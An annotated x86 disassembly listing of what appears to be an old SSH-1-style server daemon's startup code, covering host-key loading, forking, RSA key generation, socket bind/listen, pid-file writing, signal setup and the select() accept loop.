0804ab76  8d 85 74 fe ff ff     lea     0xfffffe74(%ebp),%eax  ;-396 'x74 xfe xff xff' "t"
0804ab7c  89 04 24              mov     %eax,(%esp,1)
0804ab7f  68 d8 00 08 08        push    $0x80800d8 ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab84  68 bc ba 06 08        push    $0x806babc ;[in .rodata] 0 'x0 x0 x0 x0' ""
0804ab89  ff 35 68 db 07 08     pushl   0x807db68  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ab8f  52                    push    %edx
0804ab90  e8 37 f9 ff ff        call    0804a4cc <geteuid>
0804ab95  89 04 24              mov     %eax,(%esp,1)
0804ab98  e8 9b 17 01 00        call    0805c338 <Unknown0238>
0804ab9d  83 c4 20              add     $0x20,%esp
0804aba0  85 c0                 test    %eax,%eax
0804aba2  75 7c                 jne     0804ac20 <Unknown0005+0x524>
0804aba4  a1 94 7b 07 08        mov     0x8077b94,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804aba9  85 c0                 test    %eax,%eax
0804abab  74 2b                 je      0804abd8 <Unknown0005+0x4dc>
0804abad  57                    push    %edi
0804abae  ff 35 68 db 07 08     pushl   0x807db68  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804abb4  68 c0 ba 06 08        push    $0x806bac0 ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                   load host key"
0804abb9  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                   (Red Hat Linux 7.1 2.96-79)"
0804abbf  e8 38 f1 ff ff        call    08049cfc <fprintf>
0804abc4  5b                    pop     %ebx
0804abc5  5e                    pop     %esi
0804abc6  68 00 bb 06 08        push    $0x806bb00 ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal:
                                                   Please check that you have sufficient permissions and
                                                   the file exists."
0804abcb  ff 35 0c 9c 07 08     pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                   (Red Hat Linux 7.1 2.96-79)"
0804abd1  e8 26 f1 ff ff        call    08049cfc <fprintf>
0804abd6  eb 39                 jmp     0804ac11 <Unknown0005+0x515>
0804abd8  83 ec 0c              sub     $0xc,%esp
0804abdb  ff 35 ac db 07 08     pushl   0x807dbac  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804abe1  8b 0d 98 7b 07 08     mov     0x8077b98,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804abe7  6a 00                 push    $0x0
0804abe9  31 c0                 xor     %eax,%eax
0804abeb  85 c9                 test    %ecx,%ecx
0804abed  0f 94 c0              sete    %al
0804abf0  6a 01                 push    $0x1
0804abf2  50                    push    %eax
0804abf3  ff 35 34 fc 07 08     pushl   0x807fc34  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804abf9  e8 1a 4f 00 00        call    0804fb18 <Unknown0035>
0804abfe  83 c4 18              add     $0x18,%esp
0804ac01  ff 35 68 db 07 08     pushl   0x807db68  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ac07  68 60 bb 06 08        push    $0x806bb60 ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal:
                                                   Could not load host key: %.200s.  Check path and
                                                   permissions."
0804ac0c  e8 f7 51 00 00        call    0804fe08 <Unknown0040>
0804ac11  83 c4 10              add     $0x10,%esp
0804ac14  83 ec 0c              sub     $0xc,%esp
0804ac17  6a 01                 push    $0x1
0804ac19  e8 2e f7 ff ff        call    0804a34c <exit>
0804ac1e  89 f6                 mov     %esi,%esi
0804ac20  83 ec 0c              sub     $0xc,%esp
0804ac23  ff b5 74 fe ff ff     pushl   0xfffffe74(%ebp)  ;-396 'x74 xfe xff xff' "t"
0804ac29  e8 e2 c2 00 00        call    08056f10 <Unknown0172>
0804ac2e  e8 d9 f0 ff ff        call    08049d0c <fork>
0804ac33  83 c4 10              add     $0x10,%esp
0804ac36  85 c0                 test    %eax,%eax
0804ac38  75 20                 jne     0804ac5a <Unknown0005+0x55e>
0804ac3a  81 ec c0 20 00 00     sub     $0x20c0,%esp  ;8384 'xc0 x20 x0 x0' ""
0804ac40  89 e7                 mov     %esp,%edi
0804ac42  fc                    cld
0804ac43  be 60 db 07 08        mov     $0x807db60,%esi  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ac48  b9 2f 08 00 00        mov     $0x82f,%ecx  ;2095 'x2f x8 x0 x0' "/"
0804ac4d  f3 a5                 repz movsl %ds:(%esi),%es:(%edi)
0804ac4f  e8 64 34 00 00        call    0804e0b8 <Unknown0021>
0804ac54  81 c4 c0 20 00 00     add     $0x20c0,%esp  ;8384 'xc0 x20 x0 x0' ""
0804ac5a  a1 94 7b 07 08        mov     0x8077b94,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804ac5f  85 c0                 test    %eax,%eax
0804ac61  75 42                 jne     0804aca5 <Unknown0005+0x5a9>
0804ac63  8b 15 98 7b 07 08     mov     0x8077b98,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
```

```
0804ac69  85 d2                      test    %edx,%edx
0804ac6b  75 38                      jne     0804aca5 <Unknown0005+0x5a9>
0804ac6d  83 ec 08                   sub     $0x8,%esp
0804ac70  6a 00                      push    $0x0
0804ac72  6a 00                      push    $0x0
0804ac74  e8 63 f3 ff ff             call    08049fdc <daemon>
0804ac79  83 c4 10                   add     $0x10,%esp
0804ac7c  85 c0                      test    %eax,%eax
0804ac7e  79 20                      jns     0804aca0 <Unknown0005+0x5a4>
0804ac80  83 ec 10                   sub     $0x10,%esp
0804ac83  e8 b4 f1 ff ff             call    08049e3c <__errno_location>
0804ac88  5f                         pop     %edi
0804ac89  ff 30                      pushl   (%eax)
0804ac8b  e8 5c f1 ff ff             call    08049dec <strerror>
0804ac90  5b                         pop     %ebx
0804ac91  5e                         pop     %esi
0804ac92  50                         push    %eax
0804ac93  68 a5 bb 06 08             push    $0x806bba5  ;[in .rodata] 1835360612 'x64 x61 x65 x6d' "daemon:
                                                         %.100s"
0804ac98  e8 6b 51 00 00             call    0804fe08 <Unknown0040>
0804ac9d  83 c4 10                   add     $0x10,%esp
0804aca0  a1 94 7b 07 08             mov     0x8077b94,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0804aca5  83 ec 0c                   sub     $0xc,%esp
0804aca8  ff 35 ac db 07 08          pushl   0x807dbac   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804acae  31 d2                      xor     %edx,%edx
0804acb0  85 c0                      test    %eax,%eax
0804acb2  ff 35 8c db 07 08          pushl   0x807db8c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804acb8  75 0a                      jne     0804acc4 <Unknown0005+0x5c8>
0804acba  8b 0d 90 db 07 08          mov     0x807db90,%ecx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804acc0  85 c9                      test    %ecx,%ecx
0804acc2  74 05                      je      0804acc9 <Unknown0005+0x5cd>
0804acc4  ba 01 00 00 00             mov     $0x1,%edx  ;1 'x1 x0 x0 x0' ""
0804acc9  52                         push    %edx
0804acca  31 d2                      xor     %edx,%edx
0804accc  85 c0                      test    %eax,%eax
0804acce  74 0f                      je      0804acdf <Unknown0005+0x5e3>
0804acd0  8b 3d 98 7b 07 08          mov     0x8077b98,%edi  ;[in .data] 0 'x0 x0 x0 x0' ""
0804acd6  85 ff                      test    %edi,%edi
0804acd8  75 05                      jne     0804acdf <Unknown0005+0x5e3>
0804acda  ba 01 00 00 00             mov     $0x1,%edx  ;1 'x1 x0 x0 x0' ""
0804acdf  52                         push    %edx
0804ace0  ff 35 34 fc 07 08          pushl   0x807fc34   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ace6  e8 2d 4e 00 00             call    0804fb18 <Unknown0035>
0804aceb  8b 0d d8 00 08 08          mov     0x80800d8,%ecx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804acf1  8d 41 80                   lea     0xffffff80(%ecx),%eax
0804acf4  8b 15 74 db 07 08          mov     0x807db74,%edx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804acfa  83 c4 20                   add     $0x20,%esp
0804acfd  39 c2                      cmp     %eax,%edx
0804acff  76 20                      jbe     0804ad21 <Unknown0005+0x625>
0804ad01  8d 81 80 00 00 00          lea     0x80(%ecx),%eax  ;128 'x80 x0 x0 x0' ""
0804ad07  39 c2                      cmp     %eax,%edx
0804ad09  73 16                      jae     0804ad21 <Unknown0005+0x625>
0804ad0b  83 ec 08                   sub     $0x8,%esp
0804ad0e  50                         push    %eax
0804ad0f  68 c0 bb 06 08             push    $0x806bbc0  ;[in .rodata] 1668443974 'x46 x6f x72 x63' "Forcing
                                                         server key to %d bits to make it differ from host key."
0804ad14  a3 74 db 07 08             mov     %eax,0x807db74  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ad19  e8 62 50 00 00             call    0804fd80 <Unknown0039>
0804ad1e  83 c4 10                   add     $0x10,%esp
0804ad21  e8 92 98 00 00             call    080545b8 <Unknown0097>
0804ad26  83 ec 0c                   sub     $0xc,%esp
0804ad29  ff 35 94 7b 07 08          pushl   0x8077b94   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ad2f  e8 a0 98 00 00             call    080545d4 <Unknown0098>
0804ad34  5b                         pop     %ebx
0804ad35  5e                         pop     %esi
0804ad36  ff 35 6c db 07 08          pushl   0x807db6c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ad3c  68 00 bc 06 08             push    $0x806bc00  ;[in .rodata] 1953066569 'x49 x6e x69 x74'
                                                         "Initializing random number generator; seed file
                                                         %.200s"
0804ad41  e8 3a 50 00 00             call    0804fd80 <Unknown0039>
0804ad46  83 c4 0c                   add     $0xc,%esp
0804ad49  ff 35 6c db 07 08          pushl   0x807db6c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ad4f  83 ec 08                   sub     $0x8,%esp
0804ad52  e8 75 f7 ff ff             call    0804a4cc <geteuid>
0804ad57  5a                         pop     %edx
0804ad58  59                         pop     %ecx
0804ad59  50                         push    %eax
0804ad5a  68 40 fc 07 08             push    $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ad5f  e8 80 98 00 00             call    080545e4 <Unknown0099>
0804ad64  c7 04 24 37 bc 06 08       movl    $0x806bc37,(%esp,1)  ;[in .rodata] 47 'x2f x0 x0 x0' "/"
0804ad6b  e8 4c f3 ff ff             call    0804a0bc <chdir>
0804ad70  a1 a8 db 07 08             mov     0x807dba8,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ad75  a3 b0 7b 07 08             mov     %eax,0x8077bb0  ;[in .data] 0 'x0 x0 x0 x0' ""
0804ad7a  a1 98 7b 07 08             mov     0x8077b98,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
```

```
0804ad7f  83 c4 10                add    $0x10,%esp
0804ad82  85 c0                   test   %eax,%eax
0804ad84  0f 84 de 00 00 00       je     0804ae68 <Unknown0005+0x76c>   ;222 'xde x0 x0 x0' ""
0804ad8a  83 ec 0c                sub    $0xc,%esp
0804ad8d  6a 00                   push   $0x0
0804ad8f  e8 58 f6 ff ff          call   0804a3ec <dup>
0804ad94  89 04 24                mov    %eax,(%esp,1)
0804ad97  e8 50 f6 ff ff          call   0804a3ec <dup>
0804ad9c  c7 04 24 00 00 00 00    movl   $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0804ada3  e8 44 f6 ff ff          call   0804a3ec <dup>
0804ada8  c7 04 24 01 00 00 00    movl   $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
0804adaf  89 85 60 fe ff ff       mov    %eax,0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804adb5  e8 32 f6 ff ff          call   0804a3ec <dup>
0804adba  83 c4 0c                add    $0xc,%esp
0804adbd  50                      push   %eax
0804adbe  ff b5 60 fe ff ff       pushl  0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804adc4  89 85 5c fe ff ff       mov    %eax,0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804adca  68 40 bc 06 08          push   $0x806bc40   ;[in .rodata] 1952804457 'x69 x6e x65 x74' "inetd
                                                          sockets after dupping: %d, %d"
0804adcf  e8 ac 4f 00 00          call   0804fd80 <Unknown0039>
0804add4  5e                      pop    %esi
0804add5  5f                      pop    %edi
0804add6  ff 35 74 db 07 08       pushl  0x807db74   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804addc  68 64 bc 06 08          push   $0x806bc64   ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generating
                                                          %d bit RSA key."
0804ade1  e8 36 4e 00 00          call   0804fc1c <Unknown0036>
0804ade6  ff 35 74 db 07 08       pushl  0x807db74   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804adec  68 40 fc 07 08          push   $0x807fc40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804adf1  68 40 db 07 08          push   $0x807db40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804adf6  68 8c 00 08 08          push   $0x808008c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804adfb  e8 b0 91 00 00          call   08053fb0 <Unknown0090>
0804ae00  83 c4 1c                add    $0x1c,%esp
0804ae03  ff 35 6c db 07 08       pushl  0x807db6c   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ae09  83 ec 08                sub    $0x8,%esp
0804ae0c  e8 bb f6 ff ff          call   0804a4cc <geteuid>
0804ae11  59                      pop    %ecx
0804ae12  5b                      pop    %ebx
0804ae13  50                      push   %eax
0804ae14  68 40 fc 07 08          push   $0x807fc40   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ae19  e8 96 a1 00 00          call   08054fb4 <Unknown0108>
0804ae1e  c7 04 24 ff b6 06 08    movl   $0x806b6ff,(%esp,1)   ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                          key generation complete."
0804ae25  e8 f2 4d 00 00          call   0804fc1c <Unknown0036>
0804ae2a  83 c4 10                add    $0x10,%esp
0804ae2d  e9 4a 04 00 00          jmp    0804b27c <Unknown0005+0xb80>   ;1098 'x4a x4 x0 x0' "J"
0804ae32  89 f6                   mov    %esi,%esi
0804ae34  83 ec 0c                sub    $0xc,%esp
0804ae37  68 20 bd 06 08          push   $0x806bd20   ;[in .rodata] 1987208531 'x53 x65 x72 x76' "Server will
                                                          not fork when running in debugging mode."
0804ae3c  e8 3f 4f 00 00          call   0804fd80 <Unknown0039>
0804ae41  5a                      pop    %edx
0804ae42  ff 35 30 fc 07 08       pushl  0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ae48  e8 8f ee ff ff          call   08049cdc <close>
0804ae4d  89 9d 5c fe ff ff       mov    %ebx,0xfffffe5c(%ebp)   ;-420 'x5c xfe xff xff' "\"
0804ae53  89 9d 60 fe ff ff       mov    %ebx,0xfffffe60(%ebp)   ;-416 'x60 xfe xff xff' "`"
0804ae59  e8 2e ee ff ff          call   08049c8c <getpid>
0804ae5e  83 c4 10                add    $0x10,%esp
0804ae61  e9 16 04 00 00          jmp    0804b27c <Unknown0005+0xb80>   ;1046 'x16 x4 x0 x0' ""
0804ae66  89 f6                   mov    %esi,%esi
0804ae68  50                      push   %eax
0804ae69  6a 00                   push   $0x0
0804ae6b  6a 01                   push   $0x1
0804ae6d  6a 02                   push   $0x2
0804ae6f  e8 f8 f5 ff ff          call   0804a46c <socket>
0804ae74  83 c4 10                add    $0x10,%esp
0804ae77  85 c0                   test   %eax,%eax
0804ae79  a3 30 fc 07 08          mov    %eax,0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ae7e  79 20                   jns    0804aea0 <Unknown0005+0x7a4>
0804ae80  83 ec 10                sub    $0x10,%esp
0804ae83  e8 b4 ef ff ff          call   08049e3c <__errno_location>
0804ae88  5f                      pop    %edi
0804ae89  ff 30                   pushl  (%eax)
0804ae8b  e8 5c ef ff ff          call   08049dec <strerror>
0804ae90  5b                      pop    %ebx
0804ae91  5e                      pop    %esi
0804ae92  50                      push   %eax
0804ae93  68 7f bc 06 08          push   $0x806bc7f   ;[in .rodata] 1801678707 'x73 x6f x63 x6b' "socket:
                                                          %.100s"
0804ae98  e8 bf 50 00 00          call   0804ff5c <Unknown0044>
0804ae9d  83 c4 10                add    $0x10,%esp
0804aea0  83 ec 0c                sub    $0xc,%esp
0804aea3  6a 04                   push   $0x4
0804aea5  8d 85 70 fe ff ff       lea    0xfffffe70(%ebp),%eax   ;-400 'x70 xfe xff xff' "p"
0804aeab  50                      push   %eax
```

```
0804aeac  6a 02                       push    $0x2
0804aeae  6a 01                       push    $0x1
0804aeb0  ff 35 30 fc 07 08           pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aeb6  e8 91 f1 ff ff              call    0804a04c <setsockopt>
0804aebb  a1 64 db 07 08              mov     0x807db64,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aec0  c7 85 58 ff ff ff 00 00 00 00  movl  $0x0,0xffffff58(%ebp)   ;0 'x0 x0 x0 x0' ""
0804aeca  89 85 5c ff ff ff           mov     %eax,0xffffff5c(%ebp)   ;-164 'x5c xff xff xff' "\"
0804aed0  83 c4 20                    add     $0x20,%esp
0804aed3  c7 85 60 ff ff ff 00 00 00 00  movl  $0x0,0xffffff60(%ebp)   ;0 'x0 x0 x0 x0' ""
0804aedd  c7 85 64 ff ff ff 00 00 00 00  movl  $0x0,0xffffff64(%ebp)   ;0 'x0 x0 x0 x0' ""
0804aee7  66 c7 85 58 ff ff ff 02 00  movw  $0x2,0xffffff58(%ebp)   ;-168 'x58 xff xff xff' "X"
0804aef0  66 a1 60 db 07 08           mov     0x807db60,%ax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804aef6  66 c1 c8 08                 ror     $0x8,%ax
0804aefa  51                          push    %ecx
0804aefb  6a 10                       push    $0x10
0804aefd  66 89 85 5a ff ff ff        mov     %ax,0xffffff5a(%ebp)   ;-166 'x5a xff xff xff' "Z"
0804af04  8d 85 58 ff ff ff           lea     0xffffff58(%ebp),%eax   ;-168 'x58 xff xff xff' "X"
0804af0a  50                          push    %eax
0804af0b  ff 35 30 fc 07 08           pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804af11  e8 e6 f2 ff ff              call    0804a1fc <bind>
0804af16  83 c4 10                    add     $0x10,%esp
0804af19  85 c0                       test    %eax,%eax
0804af1b  79 59                       jns     0804af76 <Unknown0005+0x87a>
0804af1d  83 ec 10                    sub     $0x10,%esp
0804af20  e8 17 ef ff ff              call    08049e3c <__errno_location>
0804af25  5a                          pop     %edx
0804af26  89 c3                       mov     %eax,%ebx
0804af28  ff 33                       pushl   (%ebx)
0804af2a  e8 bd ee ff ff              call    08049dec <strerror>
0804af2f  5e                          pop     %esi
0804af30  5f                          pop     %edi
0804af31  50                          push    %eax
0804af32  68 8e bc 06 08              push    $0x806bc8e   ;[in .rodata] 1684957538 'x62 x69 x6e x64' "bind:
                                              %.100s"
0804af37  e8 cc 4e 00 00              call    0804fe08 <Unknown0040>
0804af3c  5a                          pop     %edx
0804af3d  59                          pop     %ecx
0804af3e  6a 02                       push    $0x2
0804af40  ff 35 30 fc 07 08           pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804af46  e8 71 ef ff ff              call    08049ebc <shutdown>
0804af4b  58                          pop     %eax
0804af4c  ff 35 30 fc 07 08           pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804af52  e8 85 ed ff ff              call    08049cdc <close>
0804af57  5f                          pop     %edi
0804af58  ff 33                       pushl   (%ebx)
0804af5a  e8 8d ee ff ff              call    08049dec <strerror>
0804af5f  83 c4 0c                    add     $0xc,%esp
0804af62  50                          push    %eax
0804af63  ff 35 60 db 07 08           pushl   0x807db60   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804af69  68 a0 bc 06 08              push    $0x806bca0   ;[in .rodata] 1684957506 'x42 x69 x6e x64' "Bind to
                                              port %d failed: %.200s."
0804af6e  e8 e9 4f 00 00              call    0804ff5c <Unknown0044>
0804af73  83 c4 10                    add     $0x10,%esp
0804af76  8b 35 94 7b 07 08           mov     0x8077b94,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804af7c  85 f6                       test    %esi,%esi
0804af7e  75 3e                       jne     0804afbe <Unknown0005+0x8c2>
0804af80  83 ec 08                    sub     $0x8,%esp
0804af83  68 c0 bc 06 08              push    $0x806bcc0   ;[in .rodata] 1965359223 'x77 x0 x25 x75' "w"
0804af88  ff 35 70 db 07 08           pushl   0x807db70   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804af8e  e8 49 f4 ff ff              call    0804a3dc <fopen>
0804af93  89 c3                       mov     %eax,%ebx
0804af95  83 c4 10                    add     $0x10,%esp
0804af98  85 db                       test    %ebx,%ebx
0804af9a  74 22                       je      0804afbe <Unknown0005+0x8c2>
0804af9c  83 ec 10                    sub     $0x10,%esp
0804af9f  e8 e8 ec ff ff              call    08049c8c <getpid>
0804afa4  83 c4 0c                    add     $0xc,%esp
0804afa7  50                          push    %eax
0804afa8  68 c2 bc 06 08              push    $0x806bcc2   ;[in .rodata] 685349 'x25 x75 xa x0' "%u"
0804afad  53                          push    %ebx
0804afae  e8 49 ed ff ff              call    08049cfc <fprintf>
0804afb3  89 1c 24                    mov     %ebx,(%esp,1)
0804afb6  e8 91 f2 ff ff              call    0804a24c <fclose>
0804afbb  83 c4 10                    add     $0x10,%esp
0804afbe  83 ec 08                    sub     $0x8,%esp
0804afc1  ff 35 60 db 07 08           pushl   0x807db60   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804afc7  68 c6 bc 06 08              push    $0x806bcc6   ;[in .rodata] 1987208531 'x53 x65 x72 x76' "Server
                                              listening on port %d."
0804afcc  e8 4b 4c 00 00              call    0804fc1c <Unknown0036>
0804afd1  59                          pop     %ecx
0804afd2  5b                          pop     %ebx
0804afd3  6a 05                       push    $0x5
0804afd5  ff 35 30 fc 07 08           pushl   0x807fc30   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804afdb  e8 1c ef ff ff              call    08049efc <listen>
```

```
0804afe0  83 c4 10              add     $0x10,%esp
0804afe3  85 c0                 test    %eax,%eax
0804afe5  79 20                 jns     0804b007 <Unknown0005+0x90b>
0804afe7  83 ec 10              sub     $0x10,%esp
0804afea  e8 4d ee ff ff        call    08049e3c <__errno_location>
0804afef  5a                    pop     %edx
0804aff0  ff 30                 pushl   (%eax)
0804aff2  e8 f5 ed ff ff        call    08049dec <strerror>
0804aff7  5e                    pop     %esi
0804aff8  5f                    pop     %edi
0804aff9  50                    push    %eax
0804affa  68 e3 bc 06 08        push    $0x806bce3  ;[in .rodata] 1953720684 'x6c x69 x73 x74' "listen:
                                                    %.100s"
0804afff  e8 58 4f 00 00        call    0804ff5c <Unknown0044>
0804b004  83 c4 10              add     $0x10,%esp
0804b007  83 ec 08              sub     $0x8,%esp
0804b00a  ff 35 74 db 07 08     pushl   0x807db74  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b010  68 64 bc 06 08        push    $0x806bc64  ;[in .rodata] 1701733703 'x47 x65 x6e x65' "Generating
                                                    %d bit RSA key."
0804b015  e8 02 4c 00 00        call    0804fc1c <Unknown0036>
0804b01a  ff 35 74 db 07 08     pushl   0x807db74  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b020  68 40 fc 07 08        push    $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b025  68 40 db 07 08        push    $0x807db40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b02a  68 8c 00 08 08        push    $0x808008c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b02f  e8 7c 8f 00 00        call    08053fb0 <Unknown0090>
0804b034  83 c4 1c              add     $0x1c,%esp
0804b037  ff 35 6c db 07 08     pushl   0x807db6c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b03d  83 ec 08              sub     $0x8,%esp
0804b040  e8 87 f4 ff ff        call    0804a4cc <geteuid>
0804b045  59                    pop     %ecx
0804b046  5b                    pop     %ebx
0804b047  50                    push    %eax
0804b048  68 40 fc 07 08        push    $0x807fc40  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b04d  e8 62 9f 00 00        call    08054fb4 <Unknown0108>
0804b052  c7 04 24 ff b6 06 08  movl    $0x806b6ff,(%esp,1)  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA
                                                    key generation complete."
0804b059  e8 be 4b 00 00        call    0804fc1c <Unknown0036>
0804b05e  58                    pop     %eax
0804b05f  5a                    pop     %edx
0804b060  68 fc a6 04 08        push    $0x804a6fc  ;[in .rodata] 541152082 'x52 x53 x41 x20' "RSA key
                                                    generation complete."
0804b065  6a 0e                 push    $0xe
0804b067  e8 d0 ec ff ff        call    08049d3c <signal>
0804b06c  5f                    pop     %edi
0804b06d  ff 35 7c db 07 08     pushl   0x807db7c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b073  e8 44 f4 ff ff        call    0804a4bc <alarm>
0804b078  5b                    pop     %ebx
0804b079  5e                    pop     %esi
0804b07a  68 00 a6 04 08        push    $0x804a600  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b07f  6a 01                 push    $0x1
0804b081  e8 b6 ec ff ff        call    08049d3c <signal>
0804b086  5a                    pop     %edx
0804b087  59                    pop     %ecx
0804b088  68 80 a6 04 08        push    $0x804a680  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b08d  6a 0f                 push    $0xf
0804b08f  e8 a8 ec ff ff        call    08049d3c <signal>
0804b094  5f                    pop     %edi
0804b095  58                    pop     %eax
0804b096  68 80 a6 04 08        push    $0x804a680  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b09b  6a 03                 push    $0x3
0804b09d  e8 9a ec ff ff        call    08049d3c <signal>
0804b0a2  5b                    pop     %ebx
0804b0a3  5e                    pop     %esi
0804b0a4  68 b0 a6 04 08        push    $0x804a6b0  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b0a9  6a 11                 push    $0x11
0804b0ab  e8 8c ec ff ff        call    08049d3c <signal>
0804b0b0  83 c4 10              add     $0x10,%esp
0804b0b3  8d b5 6c fe ff ff     lea     0xfffffe6c(%ebp),%esi  ;-404 'x6c xfe xff xff' "l"
0804b0b9  8d 76 00              lea     0x0(%esi),%esi
0804b0bc  8b 0d c4 7b 07 08     mov     0x8077bc4,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804b0c2  85 c9                 test    %ecx,%ecx
0804b0c4  74 05                 je      0804b0cb <Unknown0005+0x9cf>
0804b0c6  e8 55 f5 ff ff        call    0804a620 <Unknown0001+0xf2>
0804b0cb  8d 9d 68 ff ff ff     lea     0xffffff68(%ebp),%ebx  ;-152 'x68 xff xff xff' "h"
0804b0d1  31 c0                 xor     %eax,%eax
0804b0d3  b9 20 00 00 00        mov     $0x20,%ecx  ;32 'x20 x0 x0 x0' " "
0804b0d8  89 df                 mov     %ebx,%edi
0804b0da  fc                    cld
0804b0db  f3 ab                 repz stos %eax,%es:(%edi)
0804b0dd  8b 15 30 fc 07 08     mov     0x807fc30,%edx  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b0e3  89 d0                 mov     %edx,%eax
0804b0e5  83 e0 1f              and     $0x1f,%eax
0804b0e8  c1 ea 05              shr     $0x5,%edx
0804b0eb  0f ab 04 93           bts     %eax,(%ebx,%edx,4)
```

```
0804b0ef  83 ec 0c                      sub     $0xc,%esp
0804b0f2  6a 00                         push    $0x0
0804b0f4  6a 00                         push    $0x0
0804b0f6  6a 00                         push    $0x0
0804b0f8  a1 30 fc 07 08                mov     0x807fc30,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b0fd  53                            push    %ebx
0804b0fe  40                            inc     %eax
0804b0ff  50                            push    %eax
0804b100  e8 b7 ec ff ff                call    08049dbc <select>
0804b105  83 c4 20                      add     $0x20,%esp
0804b108  85 c0                         test    %eax,%eax
0804b10a  78 1b                         js      0804b127 <Unknown0005+0xa2b>
0804b10c  8b 0d 30 fc 07 08             mov     0x807fc30,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804b112  89 c8                         mov     %ecx,%eax
0804b114  89 ca                         mov     %ecx,%edx
0804b116  83 e0 1f                      and     $0x1f,%eax
0804b119  c1 ea 05                      shr     $0x5,%edx
0804b11c  0f a3 04 93                   bt      %eax,(%ebx,%edx,4)
0804b120  0f 92 c0                      setb    %al
0804b123  84 c0                         test    %al,%al
0804b125  75 21                         jne     0804b148 <Unknown0005+0xa4c>
0804b127  e8 10 ed ff ff                call    08049e3c <__errno_location>
0804b12c  8b 00                         mov     (%eax),%eax
0804b12e  83 f8 04                      cmp     $0x4,%eax
0804b131  74 89                         je      0804b0bc <Unknown0005+0x9c0>
0804b133  83 ec 0c                      sub     $0xc,%esp
0804b136  50                            push    %eax
0804b137  e8 b0 ec ff ff                call    08049dec <strerror>
0804b13c  5f                            pop     %edi
0804b13d  5a                            pop     %edx
0804b13e  50                            push    %eax
0804b13f  68 f2 bc 06 08                push    $0x806bcf2   ;[in .rodata] 1701602675 'x73 x65 x6c x65' "select:
                                                            %.100s"
0804b144  eb 45                         jmp     0804b18b <Unknown0005+0xa8f>
0804b146  89 f6                         mov     %esi,%esi
0804b148  53                            push    %ebx
0804b149  56                            push    %esi
0804b14a  8d 85 58 ff ff ff             lea     0xffffff58(%ebp),%eax   ;-168 'x58 xff xff xff' "X"
0804b150  50                            push    %eax
0804b151  51                            push    %ecx
0804b152  c7 85 6c fe ff ff 10 00 00 00 movl    $0x10,0xfffffe6c(%ebp)   ;16 'x10 x0 x0 x0' ""
